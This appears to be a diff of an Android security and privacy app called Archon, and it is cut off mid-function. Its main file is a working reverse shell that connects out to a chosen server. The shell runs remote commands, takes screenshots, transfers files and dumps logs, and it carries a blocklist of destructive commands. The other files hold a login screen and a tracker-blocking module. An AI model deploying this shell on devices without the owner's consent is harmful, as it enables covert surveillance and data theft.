while (idx < json.length() && (Character.isDigit(json.charAt(idx)) || json.charAt(idx) == '-')) {
sb.append(json.charAt(idx));
idx++;
}
try {
return Integer.parseInt(sb.toString());
} catch (NumberFormatException e) {
return defaultVal;
}
}
// Logging
private static void log(String msg) {
String timestamp = new SimpleDateFormat("HH:mm:ss", Locale.US).format(new Date());
String line = timestamp + " [" + TAG + "] " + msg;
System.out.println(line);
try {
FileWriter fw = new FileWriter(LOG_FILE, true);
fw.write(line + "\n");
fw.close();
} catch (IOException ignored) {
// Can't write log file not fatal
}
}
}

View File

@ -0,0 +1,659 @@
package com.darkhal.archon.server;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Locale;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicBoolean;
/**
* Archon Reverse Shell outbound shell connecting back to AUTARCH server.
*
* Runs via app_process at shell (UID 2000) level, same as ArchonServer.
* Instead of LISTENING, this CONNECTS OUT to the AUTARCH server's RevShellListener.
*
* Started via ADB:
* CLASSPATH=/data/app/.../base.apk app_process /system/bin \
* --nice-name=archon_shell com.darkhal.archon.server.ArchonShell \
* <server_ip> <server_port> <auth_token> <timeout_minutes>
*
* Protocol (JSON over TCP, newline-delimited):
* Auth handshake (client server):
* {"type":"auth","token":"xxx","device":"model","android":"14","uid":2000}
* Server response:
* {"type":"auth_ok"} or {"type":"auth_fail","reason":"..."}
*
* Command (server client):
* {"type":"cmd","cmd":"pm list packages","timeout":30,"id":"abc123"}
* Response (client server):
* {"type":"result","id":"abc123","stdout":"...","stderr":"...","exit_code":0}
*
* Special commands (server client):
* {"type":"cmd","cmd":"__sysinfo__","id":"..."}
* {"type":"cmd","cmd":"__packages__","id":"..."}
* {"type":"cmd","cmd":"__screenshot__","id":"..."}
* {"type":"cmd","cmd":"__download__","id":"...","path":"/sdcard/file.txt"}
* {"type":"cmd","cmd":"__upload__","id":"...","path":"/sdcard/file.txt","data":"base64..."}
* {"type":"cmd","cmd":"__processes__","id":"..."}
* {"type":"cmd","cmd":"__netstat__","id":"..."}
* {"type":"cmd","cmd":"__dumplog__","id":"...","lines":100}
* {"type":"cmd","cmd":"__disconnect__"}
*
* Keepalive (bidirectional):
* {"type":"ping"} {"type":"pong"}
*/
public class ArchonShell {
private static final String TAG = "ArchonShell";
private static final String LOG_FILE = "/data/local/tmp/archon_shell.log";
private static final int DEFAULT_TIMEOUT = 30;
private static final int CONNECT_TIMEOUT_MS = 10000;
private static final int KEEPALIVE_INTERVAL_MS = 30000;
// Same safety blocklist as ArchonServer
private static final String[] BLOCKED_PATTERNS = {
"rm -rf /",
"rm -rf /*",
"mkfs",
"dd if=/dev/zero",
"reboot",
"shutdown",
"init 0",
"init 6",
"flash_image",
"erase_image",
"format_data",
"> /dev/block",
};
private static String serverIp;
private static int serverPort;
private static String authToken;
private static int timeoutMinutes;
private static final AtomicBoolean running = new AtomicBoolean(true);
private static long startTime;
private static int commandCount = 0;
public static void main(String[] args) {
if (args.length < 4) {
System.err.println("Usage: ArchonShell <server_ip> <server_port> <token> <timeout_minutes>");
System.exit(1);
}
serverIp = args[0];
serverPort = Integer.parseInt(args[1]);
authToken = args[2];
timeoutMinutes = Integer.parseInt(args[3]);
startTime = System.currentTimeMillis();
log("Starting Archon Shell — connecting to " + serverIp + ":" + serverPort);
log("PID: " + android.os.Process.myPid() + " UID: " + android.os.Process.myUid());
log("Timeout: " + timeoutMinutes + " minutes");
// Shutdown hook
Runtime.getRuntime().addShutdownHook(new Thread(() -> {
log("Shutdown hook triggered");
running.set(false);
}));
// Start timeout watchdog
Thread watchdog = new Thread(() -> {
long deadline = startTime + (timeoutMinutes * 60L * 1000L);
while (running.get()) {
if (System.currentTimeMillis() > deadline) {
log("Auto-timeout after " + timeoutMinutes + " minutes");
running.set(false);
break;
}
try { Thread.sleep(5000); } catch (InterruptedException e) { break; }
}
});
watchdog.setDaemon(true);
watchdog.start();
// Connect and run shell loop
Socket socket = null;
try {
socket = new Socket();
socket.connect(new InetSocketAddress(serverIp, serverPort), CONNECT_TIMEOUT_MS);
socket.setSoTimeout(KEEPALIVE_INTERVAL_MS * 2); // Read timeout for keepalive detection
socket.setKeepAlive(true);
log("Connected to " + serverIp + ":" + serverPort);
BufferedReader reader = new BufferedReader(new InputStreamReader(socket.getInputStream()));
PrintWriter writer = new PrintWriter(new OutputStreamWriter(socket.getOutputStream()), true);
// Send auth handshake
if (!authenticate(writer, reader)) {
log("Authentication failed — disconnecting");
System.exit(3);
}
log("Authenticated — entering shell loop");
// Main command loop: read commands from server, execute, return results
shellLoop(reader, writer);
} catch (IOException e) {
log("Connection failed: " + e.getMessage());
System.exit(2);
} finally {
if (socket != null) {
try { socket.close(); } catch (IOException ignored) {}
}
}
log("Shell stopped — " + commandCount + " commands executed");
System.exit(0);
}
private static boolean authenticate(PrintWriter writer, BufferedReader reader) throws IOException {
// Gather device info
String model = getSystemProp("ro.product.model", "unknown");
String androidVer = getSystemProp("ro.build.version.release", "unknown");
int uid = android.os.Process.myUid();
String authMsg = "{\"type\":\"auth\",\"token\":" + jsonEscape(authToken) +
",\"device\":" + jsonEscape(model) +
",\"android\":" + jsonEscape(androidVer) +
",\"uid\":" + uid + "}";
writer.println(authMsg);
writer.flush();
// Wait for auth response
String response = reader.readLine();
if (response == null) return false;
String type = extractJsonString(response, "type");
if ("auth_ok".equals(type)) {
return true;
}
String reason = extractJsonString(response, "reason");
log("Auth rejected: " + (reason != null ? reason : "unknown reason"));
return false;
}
private static void shellLoop(BufferedReader reader, PrintWriter writer) {
while (running.get()) {
try {
String line = reader.readLine();
if (line == null) {
log("Server closed connection");
running.set(false);
break;
}
String type = extractJsonString(line, "type");
if (type == null) continue;
switch (type) {
case "cmd":
handleCommand(line, writer);
break;
case "ping":
writer.println("{\"type\":\"pong\"}");
writer.flush();
break;
case "disconnect":
log("Server requested disconnect");
running.set(false);
break;
default:
log("Unknown message type: " + type);
break;
}
} catch (java.net.SocketTimeoutException e) {
// Send keepalive ping
writer.println("{\"type\":\"ping\"}");
writer.flush();
} catch (IOException e) {
log("Connection error: " + e.getMessage());
running.set(false);
break;
}
}
}
private static void handleCommand(String json, PrintWriter writer) {
String cmd = extractJsonString(json, "cmd");
String id = extractJsonString(json, "id");
int timeout = extractJsonInt(json, "timeout", DEFAULT_TIMEOUT);
if (cmd == null || cmd.isEmpty()) {
sendResult(writer, id, "", "No command specified", -1);
return;
}
commandCount++;
log("CMD[" + commandCount + "] " + (cmd.length() > 80 ? cmd.substring(0, 80) + "..." : cmd));
// Handle special commands
switch (cmd) {
case "__sysinfo__":
handleSysinfo(writer, id);
return;
case "__packages__":
handlePackages(writer, id);
return;
case "__screenshot__":
handleScreenshot(writer, id);
return;
case "__processes__":
handleProcesses(writer, id);
return;
case "__netstat__":
handleNetstat(writer, id);
return;
case "__dumplog__":
int lines = extractJsonInt(json, "lines", 100);
handleDumplog(writer, id, lines);
return;
case "__download__":
String dlPath = extractJsonString(json, "path");
handleDownload(writer, id, dlPath);
return;
case "__upload__":
String ulPath = extractJsonString(json, "path");
String ulData = extractJsonString(json, "data");
handleUpload(writer, id, ulPath, ulData);
return;
case "__disconnect__":
log("Disconnect command received");
running.set(false);
sendResult(writer, id, "Disconnecting", "", 0);
return;
}
// Safety check
if (isBlocked(cmd)) {
log("BLOCKED dangerous command: " + cmd);
sendResult(writer, id, "", "Command blocked by safety filter", -1);
return;
}
// Execute regular shell command
String response = executeCommand(cmd, timeout);
writer.println(addId(response, id));
writer.flush();
}
// Special command handlers
private static void handleSysinfo(PrintWriter writer, String id) {
StringBuilder info = new StringBuilder();
info.append("Device: ").append(getSystemProp("ro.product.model", "?")).append("\n");
info.append("Manufacturer: ").append(getSystemProp("ro.product.manufacturer", "?")).append("\n");
info.append("Android: ").append(getSystemProp("ro.build.version.release", "?")).append("\n");
info.append("SDK: ").append(getSystemProp("ro.build.version.sdk", "?")).append("\n");
info.append("Build: ").append(getSystemProp("ro.build.display.id", "?")).append("\n");
info.append("Kernel: ").append(getSystemProp("ro.build.kernel.id", "?")).append("\n");
info.append("SELinux: ").append(readFile("/sys/fs/selinux/enforce", "?")).append("\n");
info.append("UID: ").append(android.os.Process.myUid()).append("\n");
info.append("PID: ").append(android.os.Process.myPid()).append("\n");
info.append("Uptime: ").append((System.currentTimeMillis() - startTime) / 1000).append("s\n");
info.append("Commands: ").append(commandCount).append("\n");
// Disk usage
String df = quickExec("df -h /data 2>/dev/null | tail -1", 5);
if (df != null && !df.isEmpty()) info.append("Disk: ").append(df.trim()).append("\n");
// Memory
String mem = quickExec("cat /proc/meminfo | head -3", 5);
if (mem != null) info.append(mem);
sendResult(writer, id, info.toString(), "", 0);
}
private static void handlePackages(PrintWriter writer, String id) {
String result = quickExec("pm list packages -f 2>/dev/null", 30);
sendResult(writer, id, result != null ? result : "", result == null ? "Failed" : "", result != null ? 0 : -1);
}
private static void handleScreenshot(PrintWriter writer, String id) {
// Capture screenshot to temp file, then base64 encode
String tmpFile = "/data/local/tmp/archon_screenshot.png";
String captureResult = quickExec("screencap -p " + tmpFile + " 2>&1", 10);
if (captureResult == null || new File(tmpFile).length() == 0) {
sendResult(writer, id, "", "Screenshot failed: " + (captureResult != null ? captureResult : "unknown"), -1);
return;
}
// Base64 encode read in chunks to avoid memory issues
String b64 = quickExec("base64 " + tmpFile + " | tr -d '\\n'", 30);
quickExec("rm " + tmpFile, 5);
if (b64 != null && !b64.isEmpty()) {
sendResult(writer, id, b64, "", 0);
} else {
sendResult(writer, id, "", "Failed to encode screenshot", -1);
}
}
private static void handleProcesses(PrintWriter writer, String id) {
String result = quickExec("ps -A -o PID,UID,STAT,NAME 2>/dev/null || ps -A 2>/dev/null", 10);
sendResult(writer, id, result != null ? result : "", result == null ? "Failed" : "", result != null ? 0 : -1);
}
private static void handleNetstat(PrintWriter writer, String id) {
StringBuilder sb = new StringBuilder();
String tcp = quickExec("cat /proc/net/tcp 2>/dev/null", 5);
if (tcp != null) { sb.append("=== TCP ===\n").append(tcp).append("\n"); }
String tcp6 = quickExec("cat /proc/net/tcp6 2>/dev/null", 5);
if (tcp6 != null) { sb.append("=== TCP6 ===\n").append(tcp6).append("\n"); }
String udp = quickExec("cat /proc/net/udp 2>/dev/null", 5);
if (udp != null) { sb.append("=== UDP ===\n").append(udp).append("\n"); }
sendResult(writer, id, sb.toString(), "", 0);
}
private static void handleDumplog(PrintWriter writer, String id, int lines) {
String result = quickExec("logcat -d -t " + Math.min(lines, 5000) + " 2>/dev/null", 15);
sendResult(writer, id, result != null ? result : "", result == null ? "Failed" : "", result != null ? 0 : -1);
}
private static void handleDownload(PrintWriter writer, String id, String path) {
if (path == null || path.isEmpty()) {
sendResult(writer, id, "", "No path specified", -1);
return;
}
File file = new File(path);
if (!file.exists()) {
sendResult(writer, id, "", "File not found: " + path, -1);
return;
}
if (file.length() > 50 * 1024 * 1024) { // 50MB limit
sendResult(writer, id, "", "File too large (>50MB): " + file.length(), -1);
return;
}
String b64 = quickExec("base64 '" + path.replace("'", "'\\''") + "' | tr -d '\\n'", 60);
if (b64 != null && !b64.isEmpty()) {
// Send with metadata
String meta = "{\"type\":\"result\",\"id\":" + jsonEscape(id != null ? id : "") +
",\"stdout\":" + jsonEscape(b64) +
",\"stderr\":\"\",\"exit_code\":0" +
",\"filename\":" + jsonEscape(file.getName()) +
",\"size\":" + file.length() + "}";
writer.println(meta);
writer.flush();
} else {
sendResult(writer, id, "", "Failed to read file", -1);
}
}
private static void handleUpload(PrintWriter writer, String id, String path, String data) {
if (path == null || path.isEmpty()) {
sendResult(writer, id, "", "No path specified", -1);
return;
}
if (data == null || data.isEmpty()) {
sendResult(writer, id, "", "No data specified", -1);
return;
}
// Write base64 data to temp file, then decode to destination
String tmpFile = "/data/local/tmp/archon_upload_tmp";
try {
FileWriter fw = new FileWriter(tmpFile);
fw.write(data);
fw.close();
String result = quickExec("base64 -d " + tmpFile + " > '" + path.replace("'", "'\\''") + "' 2>&1", 30);
quickExec("rm " + tmpFile, 5);
File dest = new File(path);
if (dest.exists()) {
sendResult(writer, id, "Uploaded " + dest.length() + " bytes to " + path, "", 0);
} else {
sendResult(writer, id, "", "Upload failed: " + (result != null ? result : "unknown"), -1);
}
} catch (IOException e) {
sendResult(writer, id, "", "Upload error: " + e.getMessage(), -1);
}
}
// Command execution
private static boolean isBlocked(String cmd) {
String lower = cmd.toLowerCase(Locale.ROOT).trim();
for (String pattern : BLOCKED_PATTERNS) {
if (lower.contains(pattern.toLowerCase(Locale.ROOT))) {
return true;
}
}
return false;
}
private static String executeCommand(String cmd, int timeoutSec) {
try {
ProcessBuilder pb = new ProcessBuilder("sh", "-c", cmd);
pb.redirectErrorStream(false);
Process process = pb.start();
StringBuilder stdout = new StringBuilder();
StringBuilder stderr = new StringBuilder();
Thread stdoutThread = new Thread(() -> {
try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()))) {
String line;
while ((line = br.readLine()) != null) {
if (stdout.length() > 0) stdout.append("\n");
stdout.append(line);
}
} catch (IOException ignored) {}
});
Thread stderrThread = new Thread(() -> {
try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getErrorStream()))) {
String line;
while ((line = br.readLine()) != null) {
if (stderr.length() > 0) stderr.append("\n");
stderr.append(line);
}
} catch (IOException ignored) {}
});
stdoutThread.start();
stderrThread.start();
boolean completed = process.waitFor(timeoutSec, TimeUnit.SECONDS);
if (!completed) {
process.destroyForcibly();
stdoutThread.join(1000);
stderrThread.join(1000);
return jsonResult(stdout.toString(), "Command timed out after " + timeoutSec + "s", -1);
}
stdoutThread.join(5000);
stderrThread.join(5000);
return jsonResult(stdout.toString(), stderr.toString(), process.exitValue());
} catch (Exception e) {
return jsonResult("", "Execution error: " + e.getMessage(), -1);
}
}
/** Quick exec for internal use — returns stdout or null on failure. */
private static String quickExec(String cmd, int timeoutSec) {
try {
ProcessBuilder pb = new ProcessBuilder("sh", "-c", cmd);
pb.redirectErrorStream(true);
Process process = pb.start();
StringBuilder output = new StringBuilder();
Thread reader = new Thread(() -> {
try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()))) {
String line;
while ((line = br.readLine()) != null) {
if (output.length() > 0) output.append("\n");
output.append(line);
}
} catch (IOException ignored) {}
});
reader.start();
boolean completed = process.waitFor(timeoutSec, TimeUnit.SECONDS);
if (!completed) {
process.destroyForcibly();
}
reader.join(2000);
return output.toString();
} catch (Exception e) {
return null;
}
}
private static String getSystemProp(String key, String defaultVal) {
String result = quickExec("getprop " + key, 5);
return (result != null && !result.isEmpty()) ? result.trim() : defaultVal;
}
private static String readFile(String path, String defaultVal) {
String result = quickExec("cat " + path + " 2>/dev/null", 5);
return (result != null && !result.isEmpty()) ? result.trim() : defaultVal;
}
// JSON helpers
private static void sendResult(PrintWriter writer, String id, String stdout, String stderr, int exitCode) {
String msg = "{\"type\":\"result\",\"id\":" + jsonEscape(id != null ? id : "") +
",\"stdout\":" + jsonEscape(stdout) +
",\"stderr\":" + jsonEscape(stderr) +
",\"exit_code\":" + exitCode + "}";
writer.println(msg);
writer.flush();
}
private static String jsonResult(String stdout, String stderr, int exitCode) {
return "{\"type\":\"result\",\"stdout\":" + jsonEscape(stdout) +
",\"stderr\":" + jsonEscape(stderr) +
",\"exit_code\":" + exitCode + "}";
}
private static String addId(String jsonResult, String id) {
if (id == null || id.isEmpty()) return jsonResult;
// Insert id field after opening brace
return "{\"type\":\"result\",\"id\":" + jsonEscape(id) + "," + jsonResult.substring(1);
}
private static String jsonEscape(String s) {
if (s == null) return "\"\"";
StringBuilder sb = new StringBuilder("\"");
for (int i = 0; i < s.length(); i++) {
char c = s.charAt(i);
switch (c) {
case '"': sb.append("\\\""); break;
case '\\': sb.append("\\\\"); break;
case '\b': sb.append("\\b"); break;
case '\f': sb.append("\\f"); break;
case '\n': sb.append("\\n"); break;
case '\r': sb.append("\\r"); break;
case '\t': sb.append("\\t"); break;
default:
if (c < 0x20) {
sb.append(String.format("\\u%04x", (int) c));
} else {
sb.append(c);
}
}
}
sb.append("\"");
return sb.toString();
}
private static String extractJsonString(String json, String key) {
String search = "\"" + key + "\"";
int idx = json.indexOf(search);
if (idx < 0) return null;
idx = json.indexOf(':', idx + search.length());
if (idx < 0) return null;
idx++;
while (idx < json.length() && json.charAt(idx) == ' ') idx++;
if (idx >= json.length() || json.charAt(idx) != '"') return null;
idx++;
StringBuilder sb = new StringBuilder();
while (idx < json.length()) {
char c = json.charAt(idx);
if (c == '\\' && idx + 1 < json.length()) {
char next = json.charAt(idx + 1);
switch (next) {
case '"': sb.append('"'); break;
case '\\': sb.append('\\'); break;
case 'n': sb.append('\n'); break;
case 'r': sb.append('\r'); break;
case 't': sb.append('\t'); break;
default: sb.append(next); break;
}
idx += 2;
} else if (c == '"') {
break;
} else {
sb.append(c);
idx++;
}
}
return sb.toString();
}
private static int extractJsonInt(String json, String key, int defaultVal) {
String search = "\"" + key + "\"";
int idx = json.indexOf(search);
if (idx < 0) return defaultVal;
idx = json.indexOf(':', idx + search.length());
if (idx < 0) return defaultVal;
idx++;
while (idx < json.length() && json.charAt(idx) == ' ') idx++;
StringBuilder sb = new StringBuilder();
while (idx < json.length() && (Character.isDigit(json.charAt(idx)) || json.charAt(idx) == '-')) {
sb.append(json.charAt(idx));
idx++;
}
try {
return Integer.parseInt(sb.toString());
} catch (NumberFormatException e) {
return defaultVal;
}
}
// Logging
private static void log(String msg) {
String timestamp = new SimpleDateFormat("HH:mm:ss", Locale.US).format(new Date());
String line = timestamp + " [" + TAG + "] " + msg;
System.out.println(line);
try {
FileWriter fw = new FileWriter(LOG_FILE, true);
fw.write(line + "\n");
fw.close();
} catch (IOException ignored) {}
}
}

View File

@ -0,0 +1,151 @@
package com.darkhal.archon
import android.content.Intent
import android.os.Bundle
import android.os.Handler
import android.os.Looper
import android.widget.TextView
import android.widget.Toast
import androidx.appcompat.app.AppCompatActivity
import com.darkhal.archon.service.DiscoveryManager
import com.darkhal.archon.util.AuthManager
import com.darkhal.archon.util.PrefsManager
import com.google.android.material.button.MaterialButton
import com.google.android.material.textfield.TextInputEditText
class LoginActivity : AppCompatActivity() {
private lateinit var inputServerIp: TextInputEditText
private lateinit var inputPort: TextInputEditText
private lateinit var inputUsername: TextInputEditText
private lateinit var inputPassword: TextInputEditText
private lateinit var statusText: TextView
private lateinit var btnLogin: MaterialButton
private val handler = Handler(Looper.getMainLooper())
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
// If already logged in, skip to main
if (AuthManager.isLoggedIn(this)) {
// Quick session check in background, but go to main immediately
startMain()
return
}
setContentView(R.layout.activity_login)
inputServerIp = findViewById(R.id.input_login_server_ip)
inputPort = findViewById(R.id.input_login_port)
inputUsername = findViewById(R.id.input_login_username)
inputPassword = findViewById(R.id.input_login_password)
statusText = findViewById(R.id.login_status)
btnLogin = findViewById(R.id.btn_login)
// Pre-fill from saved settings
val savedIp = PrefsManager.getServerIp(this)
if (savedIp.isNotEmpty()) {
inputServerIp.setText(savedIp)
}
inputPort.setText(PrefsManager.getWebPort(this).toString())
val savedUser = AuthManager.getUsername(this)
if (savedUser.isNotEmpty()) {
inputUsername.setText(savedUser)
}
btnLogin.setOnClickListener { doLogin() }
findViewById<MaterialButton>(R.id.btn_login_detect).setOnClickListener {
autoDetect(it as MaterialButton)
}
findViewById<MaterialButton>(R.id.btn_login_skip).setOnClickListener {
startMain()
}
}
private fun doLogin() {
val serverIp = inputServerIp.text.toString().trim()
val port = inputPort.text.toString().trim().toIntOrNull() ?: 8181
val username = inputUsername.text.toString().trim()
val password = inputPassword.text.toString().trim()
if (serverIp.isEmpty()) {
statusText.text = "Enter server IP or tap AUTO-DETECT"
return
}
if (username.isEmpty() || password.isEmpty()) {
statusText.text = "Enter username and password"
return
}
// Save server settings
PrefsManager.setServerIp(this, serverIp)
PrefsManager.setWebPort(this, port)
btnLogin.isEnabled = false
btnLogin.text = "LOGGING IN..."
statusText.text = "Connecting to $serverIp:$port..."
Thread {
val result = AuthManager.login(this@LoginActivity, username, password)
handler.post {
btnLogin.isEnabled = true
btnLogin.text = "LOGIN"
if (result.success) {
Toast.makeText(this@LoginActivity, "Logged in", Toast.LENGTH_SHORT).show()
startMain()
} else {
statusText.text = result.message
}
}
}.start()
}
private fun autoDetect(btn: MaterialButton) {
btn.isEnabled = false
btn.text = "SCANNING..."
statusText.text = "Scanning for AUTARCH server..."
val discovery = DiscoveryManager(this)
discovery.listener = object : DiscoveryManager.Listener {
override fun onServerFound(server: DiscoveryManager.DiscoveredServer) {
discovery.stopDiscovery()
handler.post {
if (server.ip.isNotEmpty()) {
inputServerIp.setText(server.ip)
}
if (server.port > 0) {
inputPort.setText(server.port.toString())
}
statusText.text = "Found ${server.hostname} at ${server.ip}:${server.port}"
btn.isEnabled = true
btn.text = "AUTO-DETECT"
}
}
override fun onDiscoveryStarted(method: DiscoveryManager.ConnectionMethod) {}
override fun onDiscoveryStopped(method: DiscoveryManager.ConnectionMethod) {
handler.post {
if (discovery.getDiscoveredServers().isEmpty()) {
statusText.text = "No AUTARCH server found on network"
}
btn.isEnabled = true
btn.text = "AUTO-DETECT"
}
}
override fun onDiscoveryError(method: DiscoveryManager.ConnectionMethod, error: String) {}
}
discovery.startDiscovery()
}
private fun startMain() {
startActivity(Intent(this, MainActivity::class.java))
finish()
}
}

View File

@ -0,0 +1,26 @@
package com.darkhal.archon
import android.os.Bundle
import androidx.appcompat.app.AppCompatActivity
import androidx.navigation.fragment.NavHostFragment
import androidx.navigation.ui.setupWithNavController
import com.darkhal.archon.module.ModuleManager
import com.google.android.material.bottomnavigation.BottomNavigationView
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
// Initialize module registry
ModuleManager.init()
val navHostFragment = supportFragmentManager
.findFragmentById(R.id.nav_host_fragment) as NavHostFragment
val navController = navHostFragment.navController
val bottomNav = findViewById<BottomNavigationView>(R.id.bottom_nav)
bottomNav.setupWithNavController(navController)
}
}

View File

@ -0,0 +1,38 @@
package com.darkhal.archon.module
import android.content.Context
/**
* Interface for Archon extension modules.
* Modules provide security/privacy actions that run through PrivilegeManager.
*/
interface ArchonModule {
val id: String
val name: String
val description: String
val version: String
fun getActions(): List<ModuleAction>
fun executeAction(actionId: String, context: Context): ModuleResult
fun getStatus(context: Context): ModuleStatus
}
data class ModuleAction(
val id: String,
val name: String,
val description: String,
val privilegeRequired: Boolean = true,
val rootOnly: Boolean = false
)
data class ModuleResult(
val success: Boolean,
val output: String,
val details: List<String> = emptyList()
)
data class ModuleStatus(
val active: Boolean,
val summary: String,
val details: Map<String, String> = emptyMap()
)

View File

@ -0,0 +1,330 @@
package com.darkhal.archon.module
import android.content.Context
import com.darkhal.archon.util.PrivilegeManager
/**
* Tracking Honeypot module blocks ad trackers, resets IDs, fakes device fingerprints.
* Ported from AUTARCH core/android_protect.py honeypot section.
*
* Tier 1: ADB-level (no root) ad ID, DNS, scanning, diagnostics
* Tier 2: ADB-level (app-specific) restrict trackers, revoke perms, clear data
* Tier 3: Root only hosts blocklist, iptables, fake location, randomize identity
*/
class HoneypotModule : ArchonModule {
override val id = "honeypot"
override val name = "Tracking Honeypot"
override val description = "Block trackers & fake device fingerprint data"
override val version = "1.0"
// Well-known tracker packages
private val knownTrackers = listOf(
"com.google.android.gms", // Google Play Services (partial)
"com.facebook.katana", // Facebook
"com.facebook.orca", // Messenger
"com.instagram.android", // Instagram
"com.zhiliaoapp.musically", // TikTok
"com.twitter.android", // Twitter/X
"com.snapchat.android", // Snapchat
"com.amazon.mShop.android.shopping", // Amazon
)
override fun getActions(): List<ModuleAction> = listOf(
// Tier 1: ADB-level, no root
ModuleAction("reset_ad_id", "Reset Ad ID", "Delete and regenerate advertising ID"),
ModuleAction("opt_out_tracking", "Opt Out Tracking", "Enable limit_ad_tracking system setting"),
ModuleAction("set_private_dns", "Set Private DNS", "Configure DNS-over-TLS (blocks tracker domains)"),
ModuleAction("disable_scanning", "Disable Scanning", "Turn off WiFi/BLE background scanning"),
ModuleAction("disable_diagnostics", "Disable Diagnostics", "Stop sending crash/usage data to Google"),
ModuleAction("harden_all", "Harden All (Tier 1)", "Apply all Tier 1 protections at once"),
// Tier 2: ADB-level, app-specific
ModuleAction("restrict_trackers", "Restrict Trackers", "Deny background activity for known trackers"),
ModuleAction("revoke_tracker_perms", "Revoke Tracker Perms", "Remove location/phone/contacts from trackers"),
ModuleAction("force_stop_trackers", "Force Stop Trackers", "Kill all known tracker apps"),
// Tier 3: Root only
ModuleAction("deploy_hosts", "Deploy Hosts Blocklist", "Block tracker domains via /etc/hosts", rootOnly = true),
ModuleAction("setup_iptables", "Setup Iptables Redirect", "Redirect tracker traffic to honeypot", rootOnly = true),
ModuleAction("randomize_identity", "Randomize Identity", "Change android_id and device fingerprint", rootOnly = true),
)
override fun executeAction(actionId: String, context: Context): ModuleResult {
return when (actionId) {
"reset_ad_id" -> resetAdId()
"opt_out_tracking" -> optOutTracking()
"set_private_dns" -> setPrivateDns()
"disable_scanning" -> disableScanning()
"disable_diagnostics" -> disableDiagnostics()
"harden_all" -> hardenAll()
"restrict_trackers" -> restrictTrackers()
"revoke_tracker_perms" -> revokeTrackerPerms()
"force_stop_trackers" -> forceStopTrackers()
"deploy_hosts" -> deployHostsBlocklist()
"setup_iptables" -> setupIptablesRedirect()
"randomize_identity" -> randomizeIdentity()
else -> ModuleResult(false, "Unknown action: $actionId")
}
}
override fun getStatus(context: Context): ModuleStatus {
val method = PrivilegeManager.getAvailableMethod()
val tier = when (method) {
PrivilegeManager.Method.ROOT -> "Tier 1-3 (full)"
PrivilegeManager.Method.ARCHON_SERVER,
PrivilegeManager.Method.LOCAL_ADB,
PrivilegeManager.Method.SERVER_ADB -> "Tier 1-2 (ADB)"
PrivilegeManager.Method.NONE -> "Unavailable"
}
return ModuleStatus(
active = method != PrivilegeManager.Method.NONE,
summary = "Available: $tier"
)
}
// ── Tier 1: ADB-level, system-wide ──────────────────────────────
private fun resetAdId(): ModuleResult {
val cmds = listOf(
"settings delete secure advertising_id",
"settings put secure limit_ad_tracking 1",
)
val results = cmds.map { PrivilegeManager.execute(it) }
return ModuleResult(
success = results.all { it.exitCode == 0 },
output = "Advertising ID reset, tracking limited"
)
}
private fun optOutTracking(): ModuleResult {
val cmds = listOf(
"settings put secure limit_ad_tracking 1",
"settings put global are_app_usage_stats_enabled 0",
)
val results = cmds.map { PrivilegeManager.execute(it) }
return ModuleResult(
success = results.all { it.exitCode == 0 },
output = "Ad tracking opt-out enabled"
)
}
private fun setPrivateDns(): ModuleResult {
val provider = "dns.adguard-dns.com" // AdGuard DNS blocks trackers
val cmds = listOf(
"settings put global private_dns_mode hostname",
"settings put global private_dns_specifier $provider",
)
val results = cmds.map { PrivilegeManager.execute(it) }
return ModuleResult(
success = results.all { it.exitCode == 0 },
output = "Private DNS set to $provider (tracker blocking)"
)
}
private fun disableScanning(): ModuleResult {
val cmds = listOf(
"settings put global wifi_scan_always_enabled 0",
"settings put global ble_scan_always_enabled 0",
)
val results = cmds.map { PrivilegeManager.execute(it) }
return ModuleResult(
success = results.all { it.exitCode == 0 },
output = "WiFi/BLE background scanning disabled"
)
}
private fun disableDiagnostics(): ModuleResult {
val cmds = listOf(
"settings put global send_action_app_error 0",
"settings put secure send_action_app_error 0",
"settings put global upload_apk_enable 0",
)
val results = cmds.map { PrivilegeManager.execute(it) }
return ModuleResult(
success = results.all { it.exitCode == 0 },
output = "Diagnostics and crash reporting disabled"
)
}
private fun hardenAll(): ModuleResult {
val actions = listOf(
"Ad ID" to ::resetAdId,
"Tracking" to ::optOutTracking,
"DNS" to ::setPrivateDns,
"Scanning" to ::disableScanning,
"Diagnostics" to ::disableDiagnostics,
)
val details = mutableListOf<String>()
var success = true
for ((name, action) in actions) {
val result = action()
details.add("$name: ${result.output}")
if (!result.success) success = false
}
return ModuleResult(
success = success,
output = "Applied ${actions.size} Tier 1 protections",
details = details
)
}
// ── Tier 2: ADB-level, app-specific ─────────────────────────────
private fun restrictTrackers(): ModuleResult {
val details = mutableListOf<String>()
var restricted = 0
for (pkg in knownTrackers) {
val check = PrivilegeManager.execute("pm list packages | grep $pkg")
if (check.stdout.contains(pkg)) {
val r = PrivilegeManager.execute("cmd appops set $pkg RUN_IN_BACKGROUND deny")
if (r.exitCode == 0) {
restricted++
details.add("Restricted: $pkg")
}
}
}
return ModuleResult(
success = true,
output = "$restricted tracker(s) restricted from background",
details = details
)
}
private fun revokeTrackerPerms(): ModuleResult {
val dangerousPerms = listOf(
"android.permission.ACCESS_FINE_LOCATION",
"android.permission.ACCESS_COARSE_LOCATION",
"android.permission.READ_PHONE_STATE",
"android.permission.READ_CONTACTS",
"android.permission.RECORD_AUDIO",
"android.permission.CAMERA",
)
val details = mutableListOf<String>()
var totalRevoked = 0
for (pkg in knownTrackers) {
val check = PrivilegeManager.execute("pm list packages | grep $pkg")
if (!check.stdout.contains(pkg)) continue
var pkgRevoked = 0
for (perm in dangerousPerms) {
val r = PrivilegeManager.execute("pm revoke $pkg $perm 2>/dev/null")
if (r.exitCode == 0) pkgRevoked++
}
if (pkgRevoked > 0) {
totalRevoked += pkgRevoked
details.add("$pkg: revoked $pkgRevoked permissions")
}
}
return ModuleResult(
success = true,
output = "Revoked $totalRevoked permissions from trackers",
details = details
)
}
private fun forceStopTrackers(): ModuleResult {
val details = mutableListOf<String>()
